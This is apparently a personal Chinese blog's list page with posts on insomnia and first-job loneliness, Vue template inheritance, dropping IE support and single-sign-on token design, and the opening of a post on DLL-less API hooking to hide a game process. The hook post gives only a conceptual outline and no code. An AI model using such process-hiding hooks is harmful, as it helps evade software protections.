你好获取登录信息中




首页 主站 文章列表 分类列表
文章列表更多

我又双叒叕失眠了

2020-06-06 16:33:59

不知不觉已经工作一年了,当初跟我同一天入职的还有另一个人,前段时间他离职了。我虽然以前也有想过这种事情,但是没想到这一天这么快就来了。毕竟出门在外,有很多东西真的太难了,我也曾想过我是该在家还是出来。但是如果我现在就回家乡工作的话出来的概率几乎为零。

梦想

“你的梦想呢?说好的珠海呢?”这是我堂姐在我高考后填报完志愿时跟我说的话。是的,我错过了一个来珠海的机会。可是这也是必然的,毕竟珠海没啥高校,并且,至少就我们省而言,考广东省内的学校“性价比”太低。我有个小学同学,就表示考了个一本的分数,填广东的学校,然后基本上就是省内二本的水平。不过在这之后,还有一次机会——校招。现在来说,已经是前年10月左右的事情了,正好是珠海的多家企业来我们学校进行校招。那我自然不想放弃这次机会。然后一番折腾之后,我应聘了两家。中间还有一番折腾,以及一些我自己失误导致一些不太舒服的地方,这里就不多说了。总之,就这样我跟珠海这边的企业签订了三方协议,毕业之后,我就来珠海了。

我曾在省会这种二线城市(当然现在是一线了)转晕了头,出门就打的去个地方从未少于半小时能到;以及儿时在去过一趟深圳,每天的活动就是起床坐老久的车去爸妈各种亲戚和以前的同事(因为那个年代的改制,所以)家串串,然后又是坐挺久的车回去,然后就可以准备洗洗睡了。即便是工作,也会是在长时间的通勤中奔波。相比之下,我家那种小城市,大多数地方都能半小时内到达,偶尔有远一点的,我都觉得坐了老久的车了,但至少今天来看,公交一小时不堵车也基本能覆盖全城了。此外大城市的消费也是让人望尘莫及的。因此,我对大城市的印象便一直不太好。

当然,我也不是说大城市就没有啥好处。举个例子,我去深圳的时候,曾在一个小区见过大概是叫健身公园(吧)的地方(这个现在已经普及了),而我们这种小城市以前是没见过的,再诸如初中那会儿在长沙坐的地铁,不得不说这个是真的方便,而深圳则是在03年我去时就听到地下一直有动静,据说是在修地铁了;大城市的消费是高,但是工资也高,生活成本是差不多的,但是剩下来的那部分钱却要更多,在大城市要购买高档耐用品显然比在中小城市容易得多(家里有矿除外),虽然生活必需品的价格会高些,但是这些东西的价格,基本差距不大,特别是在这个互联网发达的时代,大不了网购,全国基本就一个价了。但是,相比之下为了08年奥运会,那种健身公园也没过多久也找到了类似的地方,并且还有更多的在建设。是的,中小城市失去了最早体验这些东西,但是这种东西仍然会存在于中小城市。再比如宽带,大城市无疑能办理到速度更快的宽带,可是呢,如今农村也会有价格合适且速度良好的宽带了,小城市想找个用着舒服的宽带自然也不是什么难事(只是余下来的钱不多了,并不希望在这地方花太多的钱罢了)。

当然初中时,因为很多原因,对金山软件有一些感情,加上前面说的那些,我想找一个合适的城市,它不是那种我前面所说的大城市,并且发展状况也不错,至少政府眼光要比我们那种小小城市跟长远一点。珠海正是这样的一座城市。因此,我曾说过希望将来有一天能到珠海生活。这便是我曾经的梦想。

现实

自始至终我都是凭借当初的几张图片,以及自己的理解来揣测在珠海生活的模样。至于珠海到底是什么样的,只有来了才知道。

我家作为京广线沿线城市,自然是国内最早通上高铁的城市,并且坐高铁直达广州,然后从广州坐城轨到珠海,这中间除了需要一次转车以外似乎还挺顺畅的。此外家乡那小小城市也终于是在9012年修好了机场能飞一些城市,但是无奈的是直到今天,直达珠海的航班也还在谈着,是否会有还不知道。但是还有一个办法就是从省会转,同样的高铁到省会,然后省会高铁站坐磁悬浮到机场,然后到珠海。当然普速的火车也能让我到省会,并且普速的车站离我家还挺近的,只是在省会要多坐40分钟地铁。

这一路似乎不会有什么麻烦事了。当然也确实不能算麻烦事。但是也没想象的美好、由于学校毕业证一拖再拖,尽管是第一批,但也直到六月下旬才拿到毕业证(不得不说,其实在学校还是挺好的),机票价格我是一路看着往上涨了上去,毕竟暑假到了,特价机票就是越来也少的。除了那一次,剩下国庆和春节,机票价格只有更高的。因此这个也是可以放弃的了。剩下的,也就只有高铁了。高铁从家到广州几个小时,其实是挺快的了,但是吧,这没结束啊,还得继续花一小时到珠海,这样一算半天时间就没了,这倒是也罢了。我从珠海站之后首先看到的是出租车的点,公交在后面,想想打个的吧,毕竟“打个的快得多”。可是我掏出手机一查,打的预计花费3位数,还是公交吧。珠海公交无论多远,一趟车都是一元,这里点个赞。不过该说的还是得说,这公交一座就是一个多小时,这还没完,因为这是快车,不是所有站都停的,我下车的位置离公司还有那么一段距离,我看地图上就剩下一小节了,按平时的话,走过去就行了,可是这看上去的一小段可远没有看着的那么简单,那一小段只是在前面那么长的一段的衬托下显得比较短了,实际上2千多米呢。走路得半小时。于是还是等车吧。这中间有些摩的司机问我去哪,然后他们也不会走,还说没有这个厂。如果不是通过正规校招过来的,我甚至都有点怀疑了。不过再怎么菜,地图和公交车站牌我还是会看的,最终我还是坐上了下一趟公交到了公司附近了。

下车后还有点插曲,我以为这里会跟在学校时我们去参观的工业园区一样。看到我们公司的牌子了,便想从边上的门进去然后被保安拦了下来。然后才知道这里并不是那种园区。于是又继续走,终于到了。这一趟下来白天的时间就已经过的差不多了,然后跟人事那边磕到了几句,完善了下档案等信息,便先放我去休息了。之后是签劳动合同,然后入职培训什么七七八八的。中间被空调吹到肚子疼。

接下来,我碰到第一个难关就是孤独一人。虽然有一定心理准备,但是工作不比上学。在学校,总归还是有认识的,实在不行还能回家缓缓,可是现在回家一趟来回路费1K左右,路上时间两天了,因此无论是时间还是花费都注定我不能想家就回。再者,在学校,大家都来自天南地北,班上的人都是初来乍到,年龄也差不多,慢慢互相认识。我这种内向的慢慢来就好。而上班不一样,我得融入一个已经成立的团队,并且年龄差距也大了不少,想法和目标也不一样,这样一来我便很难和他们有更多的交集。我便更是独自一人了。每当看到有些在同一个城市(一般是省会、广州、深圳)的偶尔还能去串串的,便越发感到孤独。

工作这块到还行,总体上还是挺轻松的。但是谈不上顺心。作为一个自动化专业毕业的,我却在做软件开发这块的活,并且被分配在了web前端这块。这倒是没啥难的,在高二的时候我就自学过很多相关的东西了,比如这个网站,核心部分也是高中摸鱼时候做的。虽然几乎没接触过什么框架或者第三方库,但是这些东西自己动手实现一遍感觉更加像是学习而不是搬砖,至少我自己觉得这块我基础还是不错的。事实也确实如此,虽然一开始接触vue+webpack打包的时候脑袋上满是问号,但是逐渐熟悉之后开始着手逐步查询相关功能实现原理之后就能发现这还真没什么东西。主要根源还是在于大学4年没太接触这些东西了,比如vue双向绑定最核心的就是get和set,这个其实很久以前就有了,只是兼容性差,并且我菜,所以我不知道还能这样用,但是4年过去,这个已经是个大浏览器都支持的标准了,vue的这种设计也大大减轻了开发的负担而被广泛使用了,这几年时间发生了太多事,但是当然,最基本的东西永远不会变。不过呢,公司项目不算大,所以也做起来,也没太多需要认真去想的,至少到我这里来之后就是这样了。除了最初做了几个组件之后,剩下的工作基本上就是套组件就行了。除此之外就是复制粘贴+改bug。我曾经看某微软office开发人员的微博说“每天在一堆看不懂的代码中改bug,有没有修复好也不知道”,感觉很是滑稽,可是终究有一天我也在面对同样的问题。

总之,我对我现在的工作的看法是:它既不是体力劳动又不是脑力劳动。举个例子,前段时间为了加个功能,我给一个控件传入了一个参数,然后发现并没有生效,于是我去看为啥没生效,结果发现里面表示同一个东西的变量有4个(当然因为vue不可改变输出参数的原则,所以我们一般的做法也确实会多定一个内部的变量),一会儿用的这个,一会儿又用了另外一个,这就不出问题就怪了,于是我对这些变量做了合并,你说这事吧让不会的人做吧好像也确实改不出来,让会的人做吧,也是不需要用脑子想的。但是这种事情却要占据不少的时间。总的来说,倒是确实工作不累,工资还算行吧,至少比在家乡工资会高点,并且不太需要加班,加班了也能调休,在这方面还算不错的。

但是生活上就不一样了。正如我前面所说,干的活既不是体力劳动又不是脑力劳动,每天饭还是一样的吃,特别是我这种比较坚持吃早餐的,前几天上秤称一下又长胖了,这就不是个好事情了。另外公司在金湾区,某种程度上,甚至感觉是珠海与金湾区,都不止是斗门区、香洲区与金湾区了。附近啥去处也没有,远了的时间成本我又接受不了,虽然我是有点宅,但还是怪难受的。此外珠海的空气虽好,可是上班关在办公室空调开着,窗户关着,晚上办公室的窗户更不会开,而且窗户的设计,开着也就那么回事。回到宿舍后,很可能空调继续开着,然后根本没太多机会接触外面的空气。另外宿舍环境虽然不差,但是,首先肯定比不过家里,其次,大学期间我们15级宿舍是14年修好的,再差也还行吧,自然就会有对比和不适应的地方。

至于回家,凭借在学校时的抢票经验,我还是为自己抢到了国庆和春节回家车票,但是,这可比从学校回家的票难买多了。以后是否会有这么好的机会也难说。

梦碎

尽管在来之前,来的时候我都想过是否应该出来。但是我想,至少出来看看不给自己留下遗憾,要走也不是不能走。来了之后,正巧有跟我同一天入职同部门的应届毕业生,然后我们分配在一个宿舍。他曾经跟我说过,他会走的,但是计划是在一年半以后。可是现在不到一年时间,他便离职了。尽管很高兴我能独自待着了,但是晚上睡觉时,闭上眼睛,儿时的那一幕幕又浮现在了眼前。这使我整夜无法入睡。我睡眠一直就不太好,但是渐渐的,我已经能正常入睡了。可是大学里面把我的入睡时间一再的向后拖。而这几天,我甚至似乎忘了如何入睡。

我思考着我为什么来这里,我来这里收货了啥?可是我似乎找不到答案。显然,我收货不大。论学,学到的东西甚少。如我前面所说,这既不是体力劳动也不是脑力劳动。论玩,是的,我是去看了一次海,但是更准确来说是珠江,这并没有让我感受到大海的广阔——除了几个椰子树,这和我们小城市的某湖泊差不多,当然都是一望无际,可是无论他们哪个更广阔,我能看到的都是他们消失在海天相交的尽头。我还看到了港珠澳大桥。但我也只去了一次,毕竟路上单程就要2小时了,这可没有电影中的那么惬意。

公司目前的待遇到还行,但是正如我前面所说,因为我自己的操作,谈工资的时候我自己开的低了,本指望人事那边会做做好人的,可是,还真就我说多少就是多少了。本还想着,工资能涨的。可是步入社会之后才知道这工资是按原工资按比例涨的,换句话说,工资低的涨的也满。何况转正的时候还是按我协议转正加的最低的那档算的。之后年终奖安转正一个月算的,所以也只发了一个月的,看上去如果能拿到一年的也还行了。但是我的效绩却被打的c,这可不是什么令人愉悦的事情。当然了,今年开工后工资又涨了点,总体上看着还行。但是我是否还会继续做下去呢?我不得而知。若是下半年还能涨涨工资倒是还行。不然这通货膨胀过下去,钱迟早不够用的,何况如果要在这边长期发展,房子就还是得考虑,这可是一笔不小的开支。至于年终奖倒是还行,只是希望别再是c了,哪怕是同样的钱,至少心里舒服点。虽然我得承认我没做太多事,但是也没太多我可以做的。

至于长期发展,我曾和别人聊到过广州的教育问题。我们似乎普遍认为在大城市便能获得更好的教育资源。可是事实上却并没有那么简单,大城市尽管教育资源更多更好,可是大家也都是这么想的。于是大城市中教育资源分配下来压力还是挺大的。他们初中的课程直接被砍掉了几门,考啥不考啥又教育局说了算,而我们初中阶段是不区分这些的,10门全考。于是造就了我们满分1060分的不是很懂为啥别的地方考试只有那么几百分就是满分了,反过来他们也很奇怪为什么会有一千多分的。减少几门课减少负担到不见得一定就是坏事。但是没有选择的削减这就容易产生问题了。例如广州现在这届中考是没有历史的,甚至在在初中入学这门课程就被丢到一边了,此外生物地理因为是在初二会考考完了,所以也不会带到中考,也不会重视(我们那边的做法是保留会考生物地理成绩加入中考成绩中)。这样,等高考时,他们已经没有选择了。按自己兴趣选择课程已经是无从谈起,甚至还不得不去面对自己讨厌的课程(10门全考的模式下虽然讨厌的课程也要考,但是相对来说可以靠其他课程平衡一下,并且负担大不是一个人负担大,大家都是一样的)

回忆

正如某歌曲所说,回忆越美好,却越是伤人。在现在各类所谓主课老师占各类所谓副科课时的时候,想想我小学时,尽管这类课程有被占用过,但是绝大多数时候都会正常上课,一如科学课,我认为这种课程在小学开设还是很有必要的。我所在的学校,也是非常认真的对待这门课程的。我印象中比较深的是指南针的原理,还有电池点亮小灯泡,给我们每人发个油菜花观察结构,甚至还有走出教室出去观察昆虫动物,这恐怕在很多城市里这种课程是个奢望。除了科学课,我们的音乐课也是实打实的上的,从识谱开始,当然音乐教材上是简谱,所以我们学的也是简谱,五线谱只是顺便一提,但是也算是打了基础,从音符是时值到音高,到反复标记再到渐强渐弱,甚至是换气符号。老师一般都会带个电子琴过来上课,我们也偶尔上去摸摸,虽然指法什么的都不对,但是弹个调出来还是没啥问题。竖笛这种相对便宜的更是人手一个。然后还会放一段有各种乐器的录音让我们去听去分析有哪些乐器。甚至有一次跟我们说放一段音乐让我们去把谱子写出来,当然这个只是老师自己做了个示范,然后并没有真正让我们做。而学校对这种音乐课的态度呢?跟其他学校形成鲜明反差的是我们学校在音乐老师先做一个合唱的时候,可以向班主任求助,然后几个班安排调课,然后去电教室完成的(那时候并不是每个教室都有投影和音响的,我们那种比较老的学校,只有两个电教室有这个条件,一般的教室只有个普通24寸电视,还是接的校电视台,不过说起来,曾经学校还用这个在班会课时间放《哈利波特》给我们看),并且班主任全程监督,想摸鱼划水?不可能的。相对而言美术课就比较水了,但是我们仍然做过剪纸,甚至在老师的带领下,在上课时间去公园做写生。至于体育课,我们更是没少活动过。

当然,我们市也不是每个学校都能做得这么好,我那时候那个学校算是市里软实力相当好的了,只是硬件条件差点,毕竟是老学校了,不过现在已经搬到新校区了。到了初中这个问题就开始能看出来了,音乐课上老师画的五线谱能看出问题了,甚至有人认为这种课就是用来玩的。毕竟这种东西小时候这样过来的,也没啥奇怪了。但也是因为如此,老师做了几节课之后便放弃了,开始给我们放电影看了。但是少了音乐美术,我们仍然还是有10门课的。语文、数学、英语、生物、地理、物理、化学、政治、历史和体育。是的在很多地方现在还在考虑把体育纳入中考之前,我们那早就是有体育的,并且分值100分,和其他课程一样。虽然看起来学的有点多压力会很大,但是其实不然。至少,初中是我最快乐的时光。至于中考难度,我们市设置就不是太高,虽然的确会刷掉不少人,但是刷掉的那些,你去看看也知道,确实没有啥上高中的必要了。然后是教育资源均衡的问题。我们那届倒是没啥亮点,除了严查关系户进好学校以外没有太多动作,但是之后几年,这一块改进挺大的,现在即使在一个很差的初中只要你能考到校前几也是能上个好的高中的,因为其录取方式除了全市排名录取一部分以外,还会根据学校参考的总人数给予一定的名额,从而在一定程度上消减不同学校教学质量的差距,之后录取情况会在各个学校的网站上进行公示,以接受监督。若论可惜之处就是我中考比较差的3门就是历史,英语,语文。后两科影响了我太多的东西。但是比起在一堆学校不然考的外地,我这已经很幸福了。

到了高中自然是文理分科,但是,有个学考我们也会认真准备,于是造成了我学考除了语文数学英语以外全市90分以上的成绩,可惜了,哎。当然,体育已经不再考试了,学考只是象征性的考了下体育。但是体育课还是有的,甚至在高三期间也是每周都有体育课的。只是那个体育课跟以前的没法比,我们甚至搞了两幅扑克躲到没人的实验室打起了升级。身体素质自然也是有所下降的了。此外,我们市直高中全部不接收复读生。这个我也不知道怎么说,但是我觉得这不是什么坏事。总之,高中的点点滴滴也挺美好的,但想起之时我们已经回不到过去。

儿时憧憬着未来,对分别也没啥好怕的,分别只为更好的相遇。可是如今,我们还会再相遇吗,再学校还有无限的憧憬,但是工作之后,就只剩下工作和无尽的回忆了。真心希望有一天家乡也能在经济上变强。我也能好好回家乡工作了。期待着这么一天吧。

除了已经远去的校园生活外,搬家,爷爷的离去,小学同学的模样和初中时我们一起出去玩的场景等等这些始终在我脑海中浮现。

2020年6月6日——考完开始5年之后。也是一周失眠两个晚上之后。也许有一定的负面情绪,但是写写要比憋着好,希望之后的夜里闭上眼睛不要再被回忆所伤。

Vue的模板继承

2020-05-19 10:52:40

首先说说需求:以前我们有一个界面用来编辑一个带明细的数据。其效果大致如下:

页面布局

但是现在由于功能拓展,明细需要新增一个模式,跟原来的处理方式差距很大,所以明细的编辑部分需要全部重新开发。但是表头部分的处理时完全一致的,并且,进入页面需要请求接口锁定数据(并确定允许修改),退出时需要调接口解除锁定,这块的逻辑也是一样的。因此最理想的办法当然是把表头和基本逻辑分离出来,然后根据需要加载不同的明细组件。但是呢,由于明细这边有调用不少表头的数据,分割成两个组件会比较麻烦,于是想将主表和锁定的逻辑写到base.vue中,然后两种明细各自使用extends函数继承这部分内容。

但是想法很美好,现实却很糟糕我们想象只需要把明细做一个插槽塞给父组件就能把两个模板都显示出来,就像这样:

base.vue:

  1. <template>
  2. <aside>我是表头</aside>
  3. <main><slot name="body"></slot><main>
  4. </template>

具体控件:

  1. <template slot="body">
  2. <div>我是明细</div>
  3. </template>

显示效果:

  1. <template>
  2. <aside>我是表头</aside>
  3. <main><div>我是明细</div><main>
  4. </template>

可是事与愿望违,子组件的模板还是直接把父组件的模板覆盖了。尽管锁定逻辑正常执行,但是主表并不会显示出来。查阅大量资料,发现使用extends继承的都没法好好解决这个问题,而另一种,根本就不是继承,而是把父组件引入进来使用,这样二者之间的变量是不能直接相互访问的(主要是这里需要写入数据)。

不过呢,网上还是有些有价值的数据,比如有个地方就提到在render函数中使用this.extends.render.apply(this, arguments)来渲染父模板。但是呢,我测试的时候发现父模板还是没有渲染出来。同时我有个疑问,如果我一个.vue文件中既有template模板又有render函数会发生什么?还有如果我只有template模板,没有定义render函数为啥不报错?带着这些疑问,我把这些对象使用console.log打印出来看了下。

始终存在的render函数

然后我就发现问题所在了,无论我怎么写,结果中都是只有render函数没有template模板。对于这个现象的推测,我认为是在打包时如果有template,则根据这个template生成render函数,无论原先是否有render函数,都将被这个生成的render函数替换掉。去掉我子组件的template,OK,父组件果然渲染出来了,那么接下来就是想办法把子组件的模板也显示出来。可是直接写template会把render覆盖掉,难道我们只能在render中自己一个一个创建?或者用jsx?

可是即使是jsx,也不能直接把原先的template拿来使用,因此,这里还需要再想想办法。于是我想,既然我们能渲染父组件的模板,我们是不是也可以渲染子组件的模板,然后把它塞到父组件的槽里面?我们先打个断点跟踪进去看看槽是怎么被显示出来的:

首先这是render中渲染槽函数的位置:

渲染插槽的位置

断点步入进去看看:

插槽的渲染

这下简单了,我这里简单分析下这段:

  1. function renderSlot (
  2. name,
  3. fallback,
  4. props,
  5. bindObject
  6. ) {
  7. var scopedSlotFn = this.$scopedSlots[name];//尝试根据槽的名称从$scopedSlots中获取槽的渲染函数
  8. var nodes;
  9. if (scopedSlotFn) { // scoped slot 如果有渲染函数
  10. props = props || {};//检查参数
  11. if (bindObject) {//检查绑点对象
  12. if (!isObject(bindObject)) {
  13. warn(
  14. 'slot v-bind without argument expects an Object',
  15. this
  16. );
  17. }
  18. props = extend(extend({}, bindObject), props);
  19. }
  20. nodes = scopedSlotFn(props) || fallback;//调用渲染函数
  21. } else {//如果没找到则直接从$slots中取
  22. nodes = this.$slots[name] || fallback;
  23. }
  24. var target = props && props.slot;
  25. //返回结果
  26. if (target) {
  27. return this.$createElement('template', { slot: target }, nodes)
  28. } else {
  29. return nodes
  30. }
  31. }

好了,到这里我们应该可以知道这个过程了,如果我们是渲染函数,丢进this.$scopedSlots中,如果是已经执行过的则丢进this.$slots中。

虽然我们拿到的是两个渲染函数,但是为了防止出现问题,我决定还是自己调用render.apply然后扔到this.$slots中比较靠谱。这里中间层是不可避免的。考虑到其他地方会需要使用,这里定义一个函数来生成这个中间层:

  1. export default function(child,slot){
  2. if(!"extends" in child){
  3. return child;
  4. }
  5. return {
  6. extends:child,
  7. render(){
  8. //由于vue不能支持模板继承,这里使用一个中间组件,分别渲染父组件和子组件模板,并将子组件以槽的方式注入父组件中
  9. this.$slots[slot]=child.render.apply(this, arguments);
  10. var superRendered = child.extends.render.apply(this, arguments);
  11. return superRendered;
  12. }
  13. };
  14. }

用的时候直接使用如下代码引入

  1. import baseList from "./components/list";
  2. import templateExtend from "../common/template-extend.js";
  3. var List=templateExtend(baseList,"detail");

然后使用List这个对象就能同时渲染出父子组件的模板了。好了至此问题不太完美的解决了,不过不管怎么说,还是解决了。不知道何年何月,Vue自身会不会支持这种样子的模板继承呢?

Say goodbye to IE

2020-04-02 15:23:42

想我第一次接触做网页的时候,还是我初中时候看到信息课教材上用dw做一些简单的静态网页。随后因为许许多多的原因,逐步加入的PHP和js两个大块的内容。网站用的是类似以前MVC的分层结构(但是并不完全相同),核心逻辑都是在后台完成的。为了保证SEO,原则上,页面能后台生成的部分都用后台生成。此外,尽管我们会采用一些新的技术(例如css3画圆角,当然现在来看也已经很老套了),但是因为我早期使用的就是IE,尽管之后用了火狐(FireFox)再到谷歌浏览器(Chrome),现在已经很少用IE了,因此我还是一直是保持了IE兼容性的,尽管可能是需要高版本IE才能正常体验全部功能。就在前段时间,我甚至还把MarkDown语法解析在后端做了一份,目的就是为了搜索引擎能够识别出这些内容来。

相比起我刚开始做这个网站来说,已经这么多年过去了,时代可能变了,我也不能一直采用这种结构下去了。这事情的起因大致就是我这段时间需要做一些新功能,本身就是要大量使用js计算的工程,加上现在工作也是用的vue,所以萌生了自己实现部分vue功能的想法,尽管现在核心的功能可以实现,但是还有很多其他问题。我这里从以前的用户登录问题说起吧。

先来谈谈用户的问题

之后因为要保持模块独立并解决跨域cookie的问题,我把除用户中心以外的获取的所有搬到了前端,通过跨域ajax获取到用户token及用户名等信息。这给我们造成了不小的困难,因为我们无法在用户打开页面之前获取到用户的token。当然,这也不是完全没有办法的,我这里说两种方案:

一种是用户中心登录时,通过某些方式让浏览器访问各个子站点,然后子站点通过访问的地址写token。但是,实际上如果我有100个子站点(尽管实际上我没有),但是用户只需要访问其中的一到两个,这个100个站点的访问需要占用大量资源不说,利用率还低。同时这100个站点可能会有访问失败的,然后就会是各站点之间账号不同步。这种做法是我初期同步主站和DZ论坛登录的做法(但是效果并不好,甚至经常失败)。

另一种比较可行的方式用户中心要生成两个token,一个AccountToken(即绑定账号的token)和ClientToken(即客户端token),同时存储这两个token的关系。其工作原理是但用户访问用户中心时,如果ClientToken不存在就给他生成一个ClientToken,用一个有效期足够长的时间的cookie来存储,同时数据库的token关系表中记录这个token(当然也可以不急着记录),当用户登录时,向之前一样生成一个token,这个就是AccountToken,但是,这个token不下发到cookie中,而是写入数据库和当前ClientToken绑定。当访问其他站点时,子站点也是获取ClientToken(不存在则先向用户中心请求,然后通过回调页面写入cookie再重定向回原来的页面,cookie的有效期设置为session,这样,如果这个ClientToken不同步了,只需要重启浏览器就能自动重新从用户中心获取),这种操作会有一个特征就是第一次打开子站点的时候是会有一次跳转(或ajax请求)然后回之前页面(或刷新)的,可以参考渣浪微博。这种办法建立在唯一且不变的ClientToken的基础上,用户信息始终存储在服务器,根据客户端的token从服务器中查出用户信息,因此,各子站点只要能访问这个记录关系的数据库就可以获取到用户登录状态。尽管这个ClientToken并不能做到真正的唯一且不变,但是,只要用户不人为删除或修改cookie的值,并且用户中心的cookie不过期就不会出现这种问题。即使发生这种情况,只需重启浏览器就能重新同步了,除非有人故意搞事(但也就给自己添麻烦)就不会出现这种问题。

我这里暂时还没多少变动(因为改的话影响会有点大,不过可能会要改的了)。

页面无刷新切换url技术

我一直使用的是php通过后台查询数据,在后台组装成一个生成好的网页返回。可是并不是所有情况下这个做法都能获得最好的结果。首先,如果你们有注意到我博客电脑版网页的页面切换的话,你会发现他是一个ajax请求,而不是整页刷新,这么做的目的是为了点击站内链接之后bgm控件不会退出而刷新。这个过程js监控了a标签的点击并取消事件阻止跳转,然后通过ajax向后台请求网页内容,并附带isajax之类的字段。此时后台PHP程序我的框架会在调用show_head函数处保存标题但不输出头部html,当网页主体生成完毕后会调用show_foot函数,此时该函数不再输出网站脚步,而是读取ob缓存的网页主题,然后和保存的标题一并打包成json格式给客户端。客户端收到,这个json数据之后,取出标题并更新标题,然后内容通过innerHTML字段暴力写入网页文档中,然后找到里面所有的scrip标签并通过evel重新执行脚本,最后重新绑定所有a标签的事件。这样就可以在几乎不修改原有代码的情况下实现无刷新跳转功能。但是这时候还有个问题没有解决,就是我们的url是没有改变的,此时,用户刷新页面会回到他打开时的那个页面,同时,他也不方便将当前看到的网页分享给其他人。

由于直接修改loction会导致网页跳转,因此,传统做法是用“锚点”,也就是在url结尾加上"#xxx"这种格式的内容,由于这些锚点原本是在页面之内定位用的,所以改变锚点并不会引起网页跳转刷新,但是这个锚点的内容可以通过js获取,同时,请求的时候浏览器也会作为url的一部分发送给服务器,所以要在后端判断是访问哪个页面也不难。不过这样做会有两个问题,一个是SEO,因为在搜索引擎看来这是一个页面(也就是说这时候其实搜索引起就已经技术跟不上了),所以它无法理解锚点变化之后会发生什么。其次,这回影响到原有锚点的功能,毕竟他只能存放一个值,存放了实际url就不能存放页面内的锚点地址了。

正是由于这样的原因,有了一个新的方案——history API,我以前发布过一个关于这个的文章,我的博客也正是用的这种方式。简单来说就是浏览器提供一个API,通过这个API,我们可以向浏览器中写入历史记录从而实现跳转的效果,通过这个API,我们就能完美的解决我们的问题,同时还能修改好网站标题了。当然,这个API需要当时非常“先进”的IE10才能执行,但是,终究,他还是一个IE兼容的东西。

但是,这里我仍然有一个坑,就是内容并不完全独立,如果有301或者302重定向,这时候isajax字段会在第二次请求时丢失,于是又会返回一个完整的网页。此外通过innerHTML写入也存在诸多问题。因此这种更新页面内容的方式并不完美(但是更新url的还是完美的),可能会要修改成更合理的要啥更新啥。

最后所js的双向绑定

其实吧,我一开始想,后台生成内容,如果需要js频繁修改的话,我可以给他生成一个带idspan之类的元素,js需要修改的时候,我js通过id获取dom节点然后innerHTML写入就行了,这样,后台能给他写入一个初始值给搜索引擎看,同时也能通过js修改。一开始我感觉vue也就那么一回事,我那样操作也不是太麻烦。但还是,随着时间变化,特别是现在写的倾向前端的东西多了,感觉这个还是挺香的。首先,直接绑定就是多一事不如少一事。其次有个大问题就是如果一个控件的内容如果要绑定,多个相同控件的id就会冲突。我现在做的小项目的做法是改成class识别,每个控件生成的时候直接用他外面生成的div框去找。但是首先,就是多了这个div框,其次,这时候后端也管不到这个控件了。因此这样一来双向绑定也不存在问题了。

既然那个项目本来就是前端js计算为主,那我可以整双向绑定了吧。但是似乎为此引进个vue好像也没必要,并且也和我现在的模式不完全兼容。自己实现个双向绑定其实也不难,其实也就是defineProperty,这个我几年前就知道了,然后去读DOM中的各个节点来绑定。不过以前一个是没想到这个defineProperty能这样用,而且那时候IE兼用不好。不过现在ie也多对defineProperty有良好的兼容了。所以我就开干了。

绑定的功能也差不多就绪了,可是,回头一看,还有新问题。我后端取模板是直接到模板目录取,直接include就行,可是前端呢?直接后端一次全部输出到HTML中?我都不知道是否能用上,这自然就不是一个好主意了,毕竟,我能不能用上又是一回事,这些数据又不会缓存的。专门放个前端模板?首先感觉有点别扭,其次我可能要等多个子模块,顺序请求肯定不是个好主意,但是,并发请求如何保证所有请求都能回来呢?Promise是有一些封装的,虽然感觉如果只是回调的话,它算不上多香,但是它有个all方法,就很方便了。但是这个办法不支持IE,并且ajax请求不能跨域,所以想在其他域放基础模块时有点问题的,要加上跨域的响应头才行。还有就是模块自身的脚本怎么引入执行evel?恐怕仍然不是一个好主意。还有一种方式就是用import之类的,这样ie还是不支持,然后模板又成问题了。

Say goodbye to IE

当我忽然觉得IE这也不行那也不行,就是连currentScript也不能支持的时候,还有之前写的箭头函数,因为ie不支持,我又改回去了。我忽然发现,时间是真的过的快,这些年已经发生了翻天覆地的变化,转眼就是好几年过去了。以前我啦IE兼容,兼容的是win7的IE,那时候是要淘汰xp。而现在,微软极力推行win10,win7的IE自然也不在支持的行列,甚至,IE也已经凉了,微软在推Edge了,IE已经退出历史舞台不再更新了,这些都不支持也正常的。当然是用webpack打包带上一些插件去处理,可以解决这些问题,但是,这中间还有许许多多的问题。仔细想来,我这小破站子也许是该做一次升级了,尽管具体采用何种模式我暂时还没确定,抽空想想。至少以后新做的东西,会采用一些新的模式。IE的包袱,大概是改丢了,但是向博客这边,SEO怎么整我还不知道。并且,如果改的话,大概是涉及到网站的基础了。

hook技术无dll隐藏进程

2020-03-02 12:54:42

前言

由于以前接触过一些安全相关的问题,所以对钩子也还是有点了解的,但是也就在了解层面上。前些时间因为想多开某游戏(并非用于搬砖),但是由于其自身会检测游戏是否正在运行,所以需要先将正常运行的游戏进程隐藏掉(当然实际上还需要一些其他操作,我这里就不多说了)。于是这个事情再一次被拿了出来。当然我的知识也是有限的,部分解释可能不恰当或者有错误,欢迎指出。

钩子技术,就是通过修改系统函数表或者函数入口几个字节,使得目标程序调用指定函数时跳转到自己的程序中进行处理(这里可以调用原函数也可以不调用)。我这里需要隐藏进程,也就是在游戏启动器调用系统函数检索进程的时候我们给予一个拦截,将游戏进程隐藏起来即可。

为了实现这一点,一般有两种方式,一种直接修改系统的函数表,但是这种方式因为安全问题已经很难通过普通程序实现,通常需要使用驱动进入系统内核,并且还涉及到许多其他问题。我们这里主要研究针对目标程序的hook。由于操作系统原理的一些东西,每个程序内部内存都是相互独立的一份虚拟空间(除非使用特定api)。比如程序a有0x1000存放着a的程序,b却在0x1000存放着它的数据,这是不冲突的,因为这个0x1000是虚拟出来的地址,而非真实存在物理内存的地址。所以如果想直接让目标程序调用指定函数时跳转到自己程序的话,就可以洗洗睡了,目标程序是根本调用不到你程序内的东西的。所以绝大多数的钩子都会使用一个dll注入到目标程序中,将钩子代码写在dll中注入到目标程序中。网上也有一些这样的库,使用起来非常方便,但是,如何将dll注入人就是需要解决的问题。加上多出一个dll可不太酷,所以之前这个问题就一咕再咕。

接下来的时间里,有人告诉我网上其他人做的多开器有无dll的版本(当然没有源码,甚至是收费的),所以这又激发了我的兴趣。经过一番搜索我便找到了这篇文章。它所做的确实就实现了这么个功能,但是一来是作者本身就只放了部分源码,其余部分需要自己补全,其次这段代码有不完善的地方,其实无dll的hook本质和有dll的一致,不过不是使用dll在目标程序内正常加载,而是直接将自身程序内存中的钩子拷贝到目标程序中(使用WriteProcessMemory),但是这中间会出现许多地址产生变化,所以需要重新计算,所以我就来聊聊这几天我踩的坑。

警告:未经授权使用钩子技术修改其他程序可能产生法律问题,本文仅从技术角度进行讨论钩子实现原理以及无dll的实现。

